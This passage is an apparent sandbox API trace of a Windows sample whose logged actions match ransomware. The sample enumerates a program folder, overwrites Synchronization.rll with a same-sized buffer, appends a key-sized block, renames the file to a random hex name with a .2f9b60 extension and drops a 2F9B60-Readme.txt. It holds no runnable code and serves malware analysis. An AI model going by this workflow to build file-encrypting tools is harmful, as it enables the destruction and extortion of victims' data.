Framework\\v1.0\\Runtime\\x64\\resources" [0133.480] wcscat (in: _Dest=0x20508770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\" [0133.480] wcscat (in: _Dest=0x20508770, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*" [0133.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20b70 [0133.481] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced55c0 [0133.484] wcscmp (_String1=".", _String2=".") returned 0 [0133.484] FindNextFileW (in: hFindFile=0x1ced55c0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.485] wcscmp (_String1="..", _String2=".") returned 1 [0133.485] wcscmp (_String1="..", _String2="..") returned 0 [0133.485] FindNextFileW (in: hFindFile=0x1ced55c0, lpFindFileData=0x1ce20b70 | out: lpFindFileData=0x1ce20b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0133.485] wcscmp (_String1="1033", _String2=".") returned 1 [0133.485] wcscmp (_String1="1033", _String2="..") returned 1 [0133.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x205086d0 [0133.485] wcscpy (in: _Dest=0x205086d0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" [0133.485] wcscat (in: _Dest=0x205086d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\" [0133.485] wcscat (in: _Dest=0x205086d0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" [0151.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205cbf0 [0151.408] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" [0151.408] wcscat (in: _Dest=0x4205cbf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\" [0151.408] wcscat (in: _Dest=0x4205cbf0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*" [0151.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0151.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ced00 [0151.408] wcscmp (_String1=".", _String2=".") returned 0 [0151.408] FindNextFileW (in: hFindFile=0x1b7ced00, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.408] wcscmp (_String1="..", _String2=".") returned 1 [0151.408] wcscmp (_String1="..", _String2="..") returned 0 [0151.408] FindNextFileW (in: hFindFile=0x1b7ced00, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1 [0151.408] wcscmp (_String1="Synchronization.rll", _String2=".") returned 1 [0151.409] wcscmp (_String1="Synchronization.rll", _String2="..") returned 1 [0151.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x1186e0 [0151.409] wcscpy (in: _Dest=0x1186e0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" [0151.409] wcscat (in: _Dest=0x1186e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\" [0151.409] wcscat (in: _Dest=0x1186e0, _Source="Synchronization.rll" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" [0151.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\synchronization.rll")) returned 0x20 [0151.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll", dwFileAttributes=0x20) returned 1 [0151.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\synchronization.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2524 [0151.440] GetFileSizeEx (in: hFile=0x2524, lpFileSize=0x2d01f670 | out: lpFileSize=0x2d01f670*=12656) returned 1 [0151.440] SetFilePointerEx (in: hFile=0x2524, liDistanceToMove=0x316c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.440] ReadFile (in: hFile=0x2524, lpBuffer=0x2d01f5f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d01f638, lpOverlapped=0x0 | out: lpBuffer=0x2d01f5f0*, lpNumberOfBytesRead=0x2d01f638*=0x4, lpOverlapped=0x0) returned 1 [0151.459] SetFilePointerEx (in: hFile=0x2524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82acf0 [0151.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff7e0 [0151.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff870 [0151.459] NtQuerySystemTime (in: CurrentTime=0x2d01f530 | out: CurrentTime=0x2d01f530*=132462177566626000) returned 0x0 [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x1ac79bc1 [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x1f04a59f [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x535d6215 [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x5d556d5e [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x7a891ef5 [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x48db96ab [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x6c1355e5 [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x226c24a3 [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x38cc8977 [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x357f437c [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x29bc1023 [0151.459] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x5c0b8709 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x14609566 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x5f65d121 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x78f388aa [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x3874f7b4 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x4d9ea4cf [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x6f485ebf [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x640f2290 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x69bb8b2e [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x640f2290 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x31d19936 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x19a41518 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x3a3bc363 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x10de629f [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x64a997a8 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x7522c9a [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x6eaf4ab4 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x5dff28bb [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x5bbedec0 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x23d7f7a2 [0151.460] RtlRandomEx (in: Seed=0x2d01f520 | out: Seed=0x2d01f520) returned 0x387b6f49 [0151.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff8a0 [0151.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0151.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff8d0 [0151.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0151.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff870) returned 1 [0151.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82acf0) returned 1 [0151.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0151.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0151.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82acf0 [0151.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82acf0) returned 1 [0151.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42501150 [0151.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42504d60 [0151.470] ReadFile (in: hFile=0x2524, lpBuffer=0x42501150, nNumberOfBytesToRead=0x3170, lpNumberOfBytesRead=0x2d01f520, lpOverlapped=0x0 | out: lpBuffer=0x42501150*, lpNumberOfBytesRead=0x2d01f520*=0x3170, lpOverlapped=0x0) returned 1 [0151.489] SetFilePointerEx (in: hFile=0x2524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.489] WriteFile (in: hFile=0x2524, lpBuffer=0x42504d60*, nNumberOfBytesToWrite=0x3170, lpNumberOfBytesWritten=0x2d01f524, lpOverlapped=0x0 | out: lpBuffer=0x42504d60*, lpNumberOfBytesWritten=0x2d01f524*=0x3170, lpOverlapped=0x0) returned 1 [0162.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c196b0 [0162.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c196e0 [0162.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c196e0) returned 1 [0162.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42504d60) returned 1 [0162.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42501150) returned 1 [0162.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fb70 [0162.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058790 [0162.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0162.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c196e0 [0162.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c196e0) returned 1 [0162.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f830 [0162.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c196e0 [0162.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19710 [0162.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19710) returned 1 [0162.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0162.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058790) returned 1 [0162.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c15cb0 [0162.652] SetFilePointerEx (in: hFile=0x2524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.652] WriteFile (hFile=0x2524, lpBuffer=0x42c15cb0, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d01f640, lpOverlapped=0x0) [0206.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0206.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b00) returned 1 [0206.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260b00 [0206.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0206.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ee0 [0206.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ee0) returned 1 [0206.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0206.690] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="42") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="c1") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="dc") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="de") returned 2 [0206.690] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="c7") returned 2 [0206.690] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="be") returned 2 [0206.690] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="fe") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="81") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="51") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="4a") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="90") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="8e") returned 2 [0206.690] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="f3") returned 2 [0206.690] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.690] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="aa") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="52") returned 2 [0206.690] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="81") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="b4") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="d1") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="dd") returned 2 [0206.691] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="93") returned 2 [0206.691] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="54") returned 2 [0206.691] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="5f") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="58") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="17") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="40") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="d8") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="c7") returned 2 [0206.691] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="d7") returned 2 [0206.691] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="3c") returned 2 [0206.691] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="b1") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="81") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="f6") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="0f") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="28") returned 2 [0206.691] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="4e") returned 2 [0206.691] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="c6") returned 2 [0206.691] RtlInitAnsiString (in: DestinationString=0x2d01f6b8, SourceString="ff42c1dcdec7befe81514a908ef3f4aa5281b4d1dd93545f581740d8c7d73cb181f60f284ec6" | out: DestinationString="ff42c1dcdec7befe81514a908ef3f4aa5281b4d1dd93545f581740d8c7d73cb181f60f284ec6") [0206.691] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d01f688, SourceString="ff42c1dcdec7befe81514a908ef3f4aa5281b4d1dd93545f581740d8c7d73cb181f60f284ec6", AllocateDestinationString=1 | out: DestinationString="ff42c1dcdec7befe81514a908ef3f4aa5281b4d1dd93545f581740d8c7d73cb181f60f284ec6") returned 0x0 [0206.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4314e930 [0206.692] wcscat (in: _Dest=0x43156fe0, _Source="ff42c1dcdec7befe815" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\ff42c1dcdec7befe815") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\ff42c1dcdec7befe815" [0206.692] wcscat (in: _Dest=0x43156fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\ff42c1dcdec7befe815.2f9b60") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\ff42c1dcdec7befe815.2f9b60" [0206.692] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\ff42c1dcdec7befe815.2f9b60", NtPathName=0x2d01f660, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\ff42c1dcdec7befe815.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1ceb5120 [0209.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5120) returned 1 [0209.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051460) returned 1 [0209.127] NtQueryInformationFile (in: FileHandle=0x2524, IoStatusBlock=0x2d01f6c8, FileInformation=0x2d01f6d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d01f6c8, FileInformation=0x2d01f6d8) returned 0x0 [0209.127] NtSetInformationFile (FileHandle=0x2524, IoStatusBlock=0x2d01f6c8, FileInformation=0x2d01f6d8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43156fe0) returned 1 [0209.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314e930) returned 1 [0209.633] FlushFileBuffers (hFile=0x2524) returned 1 [0212.752] CloseHandle (hObject=0x2524) returned 1 [0215.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310c120 [0215.689] wcscpy (in: _Dest=0x4310c120, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\" [0215.689] wcscat (in: _Dest=0x4310c120, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\2F9B60-Readme.txt" [0215.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0215.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f94 [0218.149] WriteFile (in: hFile=0x1f94, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2d01f580, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2d01f580*=0xba9, lpOverlapped=0x0) returned 1 [0222.489] CloseHandle (hObject=0x1f94) returned 1 [0224.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c120) returned 1 [0224.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0224.688] FindNextFileW (in: hFindFile=0x1b7ced00, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 0 [0224.689] FindClose (in: 